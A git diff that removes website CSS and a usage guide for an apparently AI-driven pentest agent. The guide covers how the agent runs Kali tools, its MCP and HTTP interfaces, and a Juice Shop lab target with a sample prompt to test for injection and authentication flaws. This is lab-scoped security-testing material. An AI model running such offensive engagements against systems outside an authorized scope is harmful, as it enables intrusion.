line-height: 1.7;-}-.lab-card__meta {- display: flex;- gap: 0.5rem;- font-size: 0.78rem;- color: var(--muted);- margin-bottom: 1rem;- flex-wrap: wrap;-}-.lab-card__links { display: flex; gap: 1rem; flex-wrap: wrap; }-.lab-link {- font-size: 0.83rem;- text-decoration: none;- color: var(--accent-soft);- letter-spacing: 0.03em;-}-.lab-link:hover { color: var(--magenta); }-.lab-link--report {- color: #5ab870;- font-weight: 600;-}-.lab-link--report:hover { color: var(--magenta); }--/* ── Sample reports ───────────────────────────────────────────── */-.report-cards {- list-style: none;- margin: 0;- padding: 0;- display: grid;- grid-template-columns: repeat(auto-fit, minmax(340px, 1fr));- gap: 1.25rem;-}-.report-card {- background: var(--panel);- border: 1px solid var(--panel-edge);- border-top: 2px solid var(--accent);- border-radius: 6px;- padding: 1.5rem;- display: flex;- flex-direction: column;- gap: 0.75rem;-}-.report-card__top {- display: flex;- align-items: flex-start;- gap: 1rem;-}-.report-card__cvss {- font-family: var(--mono);- font-size: 2.2rem;- font-weight: bold;- color: var(--accent-soft);- line-height: 1;- flex-shrink: 0;-}-.report-card__cve {- font-size: 1rem;- color: var(--text);- font-weight: 600;- margin: 0 0 0.25rem;-}-.report-card__target {- font-size: 0.8rem;- color: var(--muted);- margin: 0;- font-family: var(--mono);-}-.report-card__summary {- font-size: 0.9rem;- color: var(--muted);- margin: 0;- line-height: 1.6;-}-.report-link {- font-size: 0.85rem;- color: var(--accent-soft);- text-decoration: none;- font-weight: 600;- letter-spacing: 0.03em;- margin-top: auto;-}-.report-link:hover { color: var(--magenta); }--/* ── Open source block ────────────────────────────────────────── */-.oss-block {- display: flex;- gap: 3rem;- align-items: flex-start;- flex-wrap: wrap;-}-.oss-block__text { flex: 1; min-width: 280px; }-.oss-links {- list-style: none;- margin: 1.25rem 0 0;- padding: 0;- display: flex;- flex-direction: column;- gap: 0.5rem;-}-.oss-links li { font-size: 0.9rem; color: var(--muted); }-.oss-links a { color: var(--accent-soft); }--.oss-block__stat {- display: flex;- flex-direction: column;- align-items: center;- gap: 0.75rem;- padding: 1.5rem 2rem;- background: var(--panel);- border: 1px solid var(--panel-edge);- border-top: 2px solid var(--accent);- border-radius: 6px;- text-align: center;- flex-shrink: 0;-}-.gh-btn {- display: inline-flex;- align-items: center;- gap: 0.5rem;- background: var(--accent);- color: #fff;- padding: 0.6rem 1.25rem;- border-radius: 4px;- text-decoration: none;- font-family: var(--mono);- font-size: 0.85rem;- transition: background 0.2s, box-shadow 0.2s;-}-.gh-btn:hover {- background: var(--accent-soft);- color: #fff;- box-shadow: 0 0 16px rgba(176, 58, 58, 0.45);-}-.gh-stars-count {- font-family: var(--mono);- font-size: 1.4rem;- color: var(--text);- margin: 0;-}-.gh-version {- font-size: 0.78rem;- color: var(--muted);- margin: 0;- letter-spacing: 0.08em;-}--/* ── Updated footer ───────────────────────────────────────────── */-.footer__top {- display: flex;- justify-content: space-between;- align-items: flex-start;- flex-wrap: wrap;- gap: 1.5rem;- width: 100%;- margin-bottom: 1.5rem;-}-.footer__brand {- display: flex;- align-items: center;- gap: 0.75rem;- flex-wrap: wrap;-}-.footer__name {- font-size: 1rem;- font-weight: bold;- color: var(--accent-soft);- letter-spacing: 0.1em;-}-.footer__version {- font-size: 0.78rem;- color: var(--muted);- background: var(--panel);- border: 1px solid var(--panel-edge);- border-radius: 999px;- padding: 0.15rem 0.65rem;-}-.footer__oss {- font-size: 0.78rem;- color: #5ab870;- border: 1px solid rgba(90, 184, 112, 0.3);- border-radius: 999px;- padding: 0.15rem 0.65rem;-}-.footer__links {- display: flex;- gap: 1.25rem;- flex-wrap: wrap;- align-items: center;-}-.footer__link {- font-size: 0.85rem;- text-decoration: none;- color: var(--muted);- letter-spacing: 0.03em;- transition: color 0.15s;-}-.footer__link:hover { color: var(--accent-soft); }-.footer__link--gh {- display: inline-flex;- align-items: center;- gap: 0.4rem;- color: var(--accent-soft);-}--/* ── Responsive additions ─────────────────────────────────────── */-@media (max-width: 640px) {- .feature-list { grid-template-columns: 1fr; }- .oss-block { flex-direction: column; }- .oss-block__stat { width: 100%; }- .footer__top { flex-direction: column; }- .hero__cta { flex-direction: column; align-items: center; }-}--/* ── Lazy mode / prompt block ─────────────────────────────────── */-.qs-tab-label {- font-size: 0.78rem;- text-transform: uppercase;- letter-spacing: 0.12em;- color: var(--muted);- margin: 2rem 0 0.5rem;-}-.qs-tab-label--lazy { color: var(--accent-soft); }-.qs-tab-label--lazy::before { content: "⚡ "; }--.code-block--lazy { border-color: rgba(176, 58, 58, 0.4); max-width: 100%; }-.code-block--lazy .code-block__bar { border-color: rgba(176, 58, 58, 0.25); }-.code-block--lazy .code-block__label { color: var(--accent-soft); }--.code-block__body--lazy {- max-height: 320px;- overflow-y: auto;- font-size: 0.80rem;- color: #e8e8e8;- scrollbar-width: thin;- scrollbar-color: #330000 #0a0000;-}-.code-block__body--lazy::-webkit-scrollbar { width: 6px; }-.code-block__body--lazy::-webkit-scrollbar-track { background: #0a0000; }-.code-block__body--lazy::-webkit-scrollbar-thumb { background: #330000; border-radius: 3px; }-.code-block__body--lazy code { color: #e8e8e8; }--/* compact lazy-copy row */-.lazy-copy-row {- display: inline-flex;- align-items: center;- gap: 1rem;- background: var(--panel);- border: 1px solid rgba(176, 58, 58, 0.35);- border-radius: 6px;- padding: 0.7rem 1rem 0.7rem 1.1rem;- margin: 0.5rem 0 1.25rem;-}-.lazy-copy-desc {- font-size: 0.85rem;- color: var(--muted);- font-family: var(--mono);-}-.lazy-copy-btn {- display: inline-flex;- align-items: center;- gap: 0.45rem;- background: var(--accent);- color: #fff;- border: none;- border-radius: 4px;- padding: 0.45rem 1rem;- font-family: var(--mono);- font-size: 0.82rem;- cursor: pointer;- white-space: nowrap;- transition: background 0.15s, box-shadow 0.15s;-}-.lazy-copy-btn:hover {- background: var(--accent-soft);- box-shadow: 0 0 12px rgba(176, 58, 58, 0.4);-}--/* ── Karaoke zone — sits directly above the waveform ──────────── */-#karaoke-zone {- width: 100%;- height: 3.2rem;- background: rgba(8, 0, 0, 0.97);- border-bottom: 1px solid var(--panel-edge);- display: flex;- align-items: center;- justify-content: center;- overflow: hidden;- position: relative;-}--#karaoke-line {- font-family: var(--mono);- text-align: center;- letter-spacing: 0.06em;- max-width: 90%;- white-space: nowrap;- overflow: hidden;- text-overflow: ellipsis;- opacity: 0;-}--/* Fade in/out controlled via JS (opacity + transform on style directly)- for cross-browser reliability including Android Chrome */-#karaoke-line {- font-family: var(--mono);- text-align: center;- letter-spacing: 0.06em;- max-width: 90%;- white-space: nowrap;- overflow: hidden;- text-overflow: ellipsis;- opacity: 0;- will-change: opacity, transform;-}--/* Section colours */-.kl--verse { font-size: 1rem; color: #d0d0d0; }-.kl--prechorus { font-size: 1rem; color: #c75a5a; }-.kl--bridge { font-size: 1.1rem; font-weight: 700; color: #00ff41;- text-shadow: 0 0 16px rgba(0,255,65,0.6); }-.kl--chorus {- font-size: 1.25rem;- font-weight: 700;- color: #ff4444;- letter-spacing: 0.1em;- text-shadow: 0 0 22px rgba(255,68,68,0.75), 0 0 44px rgba(255,68,68,0.3);-}--/* ── Audio control bar ─────────────────────────────────────────── */-#audio-bar {- width: 100%;- background: rgba(8, 0, 0, 0.97);- border-bottom: 1px solid var(--panel-edge);- display: flex;- align-items: center;- gap: 0.6rem;- padding: 0 1rem;- height: 3rem;- flex-shrink: 0;-}--/* ── Buttons ── */-.ab-btn {- background: transparent;- border: none;- color: var(--muted);- cursor: pointer;- display: flex;- align-items: center;- justify-content: center;- padding: 0.25rem;- border-radius: 3px;- transition: color 0.15s;- flex-shrink: 0;-}-.ab-btn:hover { color: var(--accent-soft); }-.ab-btn--sm { padding: 0.2rem; }--#audio-bar.ab--playing .ab-btn#ab-play { color: var(--accent-soft); }--/* ── Time labels ── */-.ab-time {- font-family: var(--mono);- font-size: 0.72rem;- color: var(--muted);- white-space: nowrap;- flex-shrink: 0;- min-width: 2.5rem;- text-align: center;-}-.ab-dur { color: #664444; }--/* ── Range wrapper ── */-.ab-seek-wrap { flex: 1; min-width: 0; display: flex; align-items: center; }-.ab-vol-wrap { width: 5rem; display: flex; align-items: center; flex-shrink: 0; }--/* ── Range inputs — cross-browser themed ── */-.ab-range {- -webkit-appearance: none;- appearance: none;- width: 100%;- height: 3px;- border-radius: 2px;- cursor: pointer;- outline: none;- background: linear-gradient(- to right,- var(--accent) 0%,- var(--accent) var(--pct, 0%),- #2a0000 var(--pct, 0%),- #2a0000 100%- );- --pct: 0%;-}--/* Webkit thumb */-.ab-range::-webkit-slider-thumb {- -webkit-appearance: none;- width: 11px;- height: 11px;- border-radius: 50%;- background: var(--accent-soft);- cursor: pointer;- transition: background 0.15s, transform 0.15s;- box-shadow: 0 0 6px rgba(199, 90, 90, 0.6);-}-.ab-range:hover::-webkit-slider-thumb,-.ab-range:focus::-webkit-slider-thumb {- background: #ff6666;- transform: scale(1.25);-}--/* Firefox thumb */-.ab-range::-moz-range-thumb {- width: 11px;- height: 11px;- border-radius: 50%;- border: none;- background: var(--accent-soft);- cursor: pointer;- box-shadow: 0 0 6px rgba(199, 90, 90, 0.6);-}-.ab-range::-moz-range-track {- height: 3px;- border-radius: 2px;- background: #2a0000;-}-.ab-range::-moz-range-progress {- height: 3px;- border-radius: 2px;- background: var(--accent);-}--/* Volume range — slightly dimmer thumb */-.ab-range--vol::-webkit-slider-thumb { width: 9px; height: 9px; }-.ab-range--vol::-moz-range-thumb { width: 9px; height: 9px; }--@media (max-width: 480px) {- .ab-vol-wrap { width: 3.5rem; }- .ab-dur { display: none; }-}--/* ── VULNERATOR! inversion flash ──────────────────────────────── */-#vuln-flash {- position: fixed;- inset: 0;- z-index: 9800;- pointer-events: none;- background: #ffffff;- mix-blend-mode: difference;- opacity: 0;-}--#vuln-flash.vuln-flash--go {- animation: vuln-flash 0.55s ease forwards;-}--@keyframes vuln-flash {- 0% { opacity: 0; }- 10% { opacity: 0.95; } /* ← invert */- 28% { opacity: 0; } /* ← back */- 42% { opacity: 0.75; } /* ← second hit (softer) */- 60% { opacity: 0; }- 100% { opacity: 0; }-}--/* Respect reduced-motion preference */-@media (prefers-reduced-motion: reduce) {- #vuln-flash.vuln-flash--go { animation: none; }-}--/* ── Content drawer ────────────────────────────────────────────── */-#content-drawer {- position: fixed;- top: 0;- right: 0;- width: min(860px, 100vw);- height: 100vh;- background: var(--bg);- border-left: 2px solid var(--border);- z-index: 5000;- display: flex;- flex-direction: column;- transform: translateX(100%);- transition: transform 0.38s cubic-bezier(0.4, 0, 0.2, 1);- box-shadow: -8px 0 40px rgba(0, 0, 0, 0.7);-}--#content-drawer.drawer--open {- transform: translateX(0);-}--#drawer-bar {- display: flex;- align-items: center;- justify-content: space-between;- padding: 0.6rem 1rem;- background: var(--bg-panel);- border-bottom: 1px solid var(--border-dim);- flex-shrink: 0;- gap: 1rem;-}--#drawer-title {- font-family: var(--mono);- font-size: 0.8rem;- color: var(--muted);- letter-spacing: 0.06em;- overflow: hidden;- text-overflow: ellipsis;- white-space: nowrap;-}--#drawer-close {- background: transparent;- border: 1px solid var(--border-dim);- border-radius: 4px;- color: var(--muted);- cursor: pointer;- font-size: 0.85rem;- padding: 0.2rem 0.55rem;- line-height: 1.4;- transition: border-color 0.15s, color 0.15s;- flex-shrink: 0;-}-#drawer-close:hover { border-color: var(--accent); color: var(--accent-soft); }--#drawer-frame {- flex: 1;- border: none;- width: 100%;- background: var(--bg);-}--#drawer-backdrop {- position: fixed;- inset: 0;- z-index: 4999;- background: rgba(0, 0, 0, 0.55);- opacity: 0;- pointer-events: none;- transition: opacity 0.38s ease;-}-#drawer-backdrop.backdrop--on {- opacity: 1;- pointer-events: auto;-}--/* Nudge the waveform/karaoke zone when drawer is open on wide screens */-@media (min-width: 860px) {- body.has-drawer #visualizer,- body.has-drawer #karaoke-zone,- body.has-drawer #audio-bar {- transition: width 0.38s cubic-bezier(0.4, 0, 0.2, 1);- }-}--@media (max-width: 640px) {- #content-drawer { width: 100vw; }-}--/* ── Boot screen — mobile responsive ──────────────────────────── */-@media (max-width: 640px) {- .boot__inner {- width: 94vw;- height: auto;- max-height: 88vh;- padding: 1.4rem 1.1rem;- border-radius: 5% / 3%;- transform: none; /* remove 3D tilt on mobile */- }-- /* Sync overlay dimensions */- #boot::before,- #boot::after {- width: 94vw;- height: 88vh;- border-radius: 5% / 3%;- transform: none;- }-- /* Smaller text + allow wrap on narrow screens */- .bl {- font-size: 0.70rem;- line-height: 1.75;- white-space: pre-wrap;- word-break: break-all;- }-- /* Prompt text */- #boot-prompt {- font-size: 0.70rem;- letter-spacing: 0.18em;- }-}--@media (max-width: 380px) {- .bl { font-size: 0.62rem; }-}--/* ── Report mode badges ────────────────────────────────────────── */-.report-card__mode {- display: inline-block;- font-family: var(--mono);- font-size: 10px;- padding: 2px 8px;- border-radius: 3px;- letter-spacing: 0.08em;- margin-bottom: 4px;-}-.report-card__mode--pentest { background: #002244; color: #4488ff; border: 1px solid #224488; }-.report-card__mode--ctf { background: #1a0000; color: #ff4444; border: 1px solid #550000; }--.report-card__cvss--ctf {- background: #330000;- color: #ff4444;- font-size: 1.1rem;- font-weight: 700;-}--.report-link--ctf { color: #ff6666; }-.report-link--ctf:hover { color: var(--magenta); }--/* ── Screenshots grid ──────────────────────────────────────────── */-.screenshots-grid {- display: grid;- grid-template-columns: repeat(auto-fit, minmax(340px, 1fr));- gap: 1.5rem;- margin-top: 1.25rem;-}-.screenshot-card {- background: var(--panel);- border: 1px solid var(--panel-edge);- border-top: 2px solid var(--accent);- border-radius: 6px;- overflow: hidden;-}-.screenshot-label {- padding: 0.6rem 1rem;- font-size: 0.78rem;- color: var(--muted);- font-family: var(--mono);- letter-spacing: 0.05em;- border-bottom: 1px solid var(--panel-edge);- background: var(--bg-deep);-}-.screenshot-img {- width: 100%;- height: auto;- display: block;- opacity: 0.9;- transition: opacity 0.2s;- cursor: zoom-in;-}-.screenshot-img:hover { opacity: 1; }--/* ── Lightbox ────────────────────────────────────────────────── */--/* ── Lightbox via <dialog> ─────────────────────────────────────── */-#lightbox {- border: none;- background: transparent;- padding: 0;- max-width: 95vw;- max-height: 95vh;-}-#lightbox::backdrop {- background: rgba(0,0,0,0.92);- cursor: zoom-out;-}-#lightbox img {- display: block;- max-width: 92vw;- max-height: 88vh;- object-fit: contain;- border: 1px solid #b03a3a;- border-radius: 4px;- box-shadow: 0 0 60px rgba(176,58,58,0.4);-}-#lightbox-close {- position: fixed;- top: 1.5rem;- right: 1.5rem;- background: rgba(20,0,0,0.85);- border: 1px solid #b03a3a;- border-radius: 4px;- color: #c75a5a;- font-size: 1.1rem;- cursor: pointer;- padding: 0.3rem 0.7rem;- font-family: ui-monospace, monospace;-}diff --git a/docs/usage.md b/docs/usage.mddeleted file mode 100644index fc97c48..0000000--- a/docs/usage.md+++ /dev/null@@ -1,171 +0,0 @@-# Driving a pentest--Three ways to pilot an engagement, from simplest to most programmatic. All of them drive the same-OODA loop; pick by how you work.--## 1. Interactive TUI (`hermes chat`)--```sh-docker compose up -d --build-docker compose exec -it ooda-agent hermes chat-```--`hermes chat` opens the agent's REPL. Ask for a pentest in natural language; Hermes drives the OODA-and runs tools on Kali directly via `kali_run` (talking to `kali:8900`). The container's command-`hermes gateway run` also keeps Hermes' API server alive on `:8642`, which powers ways 2 and 3.--## 2. From an MCP client — recommended for assistants--If your tooling speaks **MCP** (Claude Code, Kiro, Cursor, BugTraceAI, …), the stack ships-**`vulnerator-mcp`** (`docker/mcp/`): a thin MCP server that wraps Hermes' runs API and exposes it-as MCP tools. It wraps, it does **not** replace, the HTTP API — it exposes **only** the runs-lifecycle, so the client stays a trigger/observer and never the brain. It never exposes-`/v1/chat/completions` or any raw `kali_run`.--**Five tools + a health check**, mapped 1:1 onto the runs API:--| Tool | Does |-| --- | --- |-| `start_pentest(input, scope, …)` | starts a run; returns `{run_id, status, replayed}` |-| `get_run_status(run_id)` | the full run object (status + `completed`/`partial`/`interrupted` + output + usage) |-| `stream_run_events(run_id, cursor, …)` | pages the lifecycle events with a `seq` cursor (`{events, next_cursor, done}`); also emits one MCP progress notification per page over streamable-HTTP |-| `steer_run(run_id, input)` | injects a correction mid-run; surfaces the `409 run_not_accepting_steer` verbatim |-| `stop_run(run_id)` | stops the run; returns the full run object |-| `health()` | upstream health (`{status, platform, version}`) |--Event/status/output payloads are forwarded verbatim as **untrusted data** (never interpreted).--### Local — stdio (recommended for Claude Code / Kiro)--Zero network surface: the client spawns the server as a subprocess over stdin/stdout — no listener,-no token, no port. Build the image once and add an `mcpServers` entry:--```sh-docker build -f docker/mcp/Dockerfile -t vulnerator-ai-mcp:dev .-```--```json-{- "mcpServers": {- "vulnerator-mcp": {- "command": "docker",- "args": [- "run", "-i", "--rm",- "--add-host", "host.docker.internal:host-gateway",- "-e", "HERMES_API_SERVER_KEY",- "-e", "HERMES_API_BASE_URL=http://host.docker.internal:8642",- "vulnerator-ai-mcp:dev"- ],- "env": { "HERMES_API_SERVER_KEY": "<your HERMES_API_SERVER_KEY>" }- }- }-}-```--The upstream Bearer is a pass-through of `HERMES_API_SERVER_KEY` (no second secret for the hop). On-Docker Desktop `host.docker.internal` resolves out of the box; on stock Linux the `--add-host`-above is what makes it resolve (or point `HERMES_API_BASE_URL` at the host's reachable address).--### In-docker / remote — streamable-HTTP (up by default)--The streamable-HTTP service is part of the default stack, reachable on the internal network at-`http://vulnerator-mcp:8700` (an in-docker consumer like a BugTraceAI container reaches it there-with no extra steps). It is **fail-closed** on `VULNERATOR_MCP_INBOUND_TOKEN` (`docker compose up`-aborts without it) and every request must carry `Authorization: Bearer <VULNERATOR_MCP_INBOUND_TOKEN>`-(the `/healthz` route is the one exception). Host publication is **off by default** — set-`VULNERATOR_MCP_HOST_PORT` and uncomment the service's `ports:` block in `docker-compose.yml` to-publish on a controlled machine. See [`security.md`](security.md) for the threat model.--## 3. Raw HTTP API (`:8642`)--For CI scripts or plain `curl`, Hermes exposes an OpenAI-compatible API server directly on `:8642`-(the same endpoints `vulnerator-mcp` wraps). Full reference — access modes, the runs flow,-`chat/completions`, and the request/response contract — in [`http-api.md`](http-api.md).--# Practice against a lab target (Juice Shop)--To practice the `web-pentest` skill without going out to the internet or touching real systems,-the repo ships an **optional** target override, `docker-compose.target.yml`, that adds an-[OWASP Juice Shop](https://owasp.org/www-project-juice-shop/) service. Juice Shop is a-**deliberately-vulnerable** web application (OWASP project), the de facto standard for practicing-web pentesting (XSS, SQLi, broken auth, etc.).--The installer can bring it up for you:--```sh-./install.sh --with-juice-shop-```--Or layer both compose files by hand:--```sh-docker compose -f docker-compose.yml -f docker-compose.target.yml up -d --build-```--The target joins the **same internal docker network** and publishes **no port to the host**, so it-only exists inside the docker environment — scoping the exercise to a controlled lab. Hermes/Kali-reach it by its DNS name at **`http://juice-shop:3000`**. Point an engagement at that URL, e.g. via-the interactive TUI:--```sh-docker compose -f docker-compose.yml -f docker-compose.target.yml exec -it ooda-agent hermes chat-# then ask, in natural language:-# "Authorized web pentest against http://juice-shop:3000 (scope: that host only).-# Enumerate, fingerprint, and test for injection/auth flaws. Report confirmed findings."-```--This is the authorized target for practicing the `web-pentest` skill. Only the web lab is in scope-here (no AD or other labs for now).--# Start clean between exercises--So that each pentest starts without remembering anything from the previous one (conversation history-and Hermes' memory), bring the stack up from scratch. The cleanest and most deterministic way:--```sh-docker compose down -v # stops the containers and DELETES Hermes' state volume-docker compose up -d # starts with fresh state (the profile regenerates from agent-ooda/)-```--In a single line:--```sh-docker compose down -v && docker compose up -d-```--## What is deleted and what is kept--The `-v` flag deletes the named volume `hermes-data` (`/opt/data`), where Hermes' state-lives: the profile and its SQLite (`state.db`). That is where the history/memory you want to-forget between exercises resides. You don't lose configuration: the profile (`config.yaml`, `SOUL.md`,-`skills`) **regenerates** on each startup by copying the declarative template from `agent-ooda/`.--| What | Does it survive `down -v` + `up`? |-|---|---|-| Tools baked into the image by the Kali `Dockerfile` | **Yes** |-| Packages Hermes installed on the fly during a pentest | **No** (ephemeral layer of the `kali` container) |-| Hermes' state / memory / history (`hermes-data`) | **No** (exactly what `-v` deletes) |--Notes:--- The `kali` container **has no volume**: anything installed on the fly (e.g. an- `apt install` Hermes does mid-engagement) lives in the container's ephemeral layer and- disappears on the next `down`/`up`. If you want a tool to always be- available without reinstalling it every session, **add it to the Kali `Dockerfile`** so- it is baked into the image.-- To lose only the Kali packages you don't need `-v`: a plain `docker compose down`- already recreates the `kali` container from the image. The `-v` adds the deletion of Hermes'- state.-- `docker compose restart` does **not** recreate the containers, so it keeps both Hermes'- state and whatever was installed on the fly in the Kali: it is not useful for starting clean.--## Alternative: new session without deleting the volume--If you prefer to keep the history but work in a clean conversation, open a-session with a new name instead of reusing the default one:--```sh-docker compose exec -it ooda-agent hermes chat --continue <new-session-name>-```--This does not delete the previous memory; it just avoids dragging it into the new conversation.diff --git a/docs/vulnerator-ai-logo.png b/docs/vulnerator-ai-logo.pngdeleted file mode 100644index 9286f09..0000000Binary files a/docs/vulnerator-ai-logo.png and /dev/null differ